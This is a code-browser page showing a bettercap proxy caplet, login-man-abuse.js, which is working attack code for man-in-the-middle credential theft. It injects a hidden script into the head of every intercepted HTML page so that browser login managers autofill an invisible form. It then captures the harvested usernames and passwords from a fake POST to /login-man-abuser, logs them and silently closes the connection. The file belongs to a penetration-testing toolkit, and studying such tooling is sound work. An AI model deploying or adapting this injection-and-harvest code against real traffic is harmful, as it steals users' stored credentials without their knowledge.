Debian Codegraph @

login-manager-abuse/login-man-abuse.js

raw ◀ ▶
Source reconstructed at patch state 0 of 1 — not the installed (fully patched) source.
1 Debian patch touch this file
1 /*
2 * Ref.
3 * - https://github.com/evilsocket/bettercap-proxy-modules/issues/72
4 * - https://freedom-to-tinker.com/2017/12/27/no-boundaries-for-user-identities-web-trackers-exploit-browser-login-managers/
5 *
6 * The idea:
7 *
8 * - On every html page, inject this invisible form who grabs credentials from login managers.
9 * - POST such credentials to /login-man-abuser, given we control the HTTP traffic, we'll intercept this request.
10 * - Intercept request, dump credentials, drop client to 404.
11 */
12 var AbuserJavascript = "";
13
14 function onLoad() {
15 // log( "Loading abuser code from login-man-abuser.js" );
16 AbuserJavascript = readFile("/usr/local/share/bettercap/caplets/login-manager-abuse/login-man-abuser.js")
17 }
18
19 // here we intercept the ajax POST request with leaked credentials.
20 function onRequest(req, res) {
21 if( req.Method == 'POST' && req.Path == "/login-man-abuser" ) {
22 log( "[LOGIN MANAGER ABUSER]\n", req.ReadBody() );
23 // this was just a fake request we needed to exfiltrate
24 // credentials to us, drop the connection with an empty 200.
25 headers = res.Headers.split("\r\n");
26 for (var i = 0; i < headers.length; i++) {
27 header_name = headers[i].replace(/:.*/, "");
28 res.RemoveHeader(header_name);
29 }
30 res.SetHeader("Connection", "close");
31 res.Status = 200;
32 res.ContentType = "text/html";
33 res.Body = "";
34 }
35 }
36
37 // inject the javascript in html pages
38 function onResponse(req, res) {
39 if( res.ContentType.indexOf('text/html') == 0 ){
40 var body = res.ReadBody();
41 if( body.indexOf('</head>') != -1 ) {
42 res.Body = body.replace(
43 '</head>',
44 '<script type="text/javascript">' + "\n" +
45 AbuserJavascript +
46 '</script>' +
47 '</head>'
48 );
49 }
50 }
51 }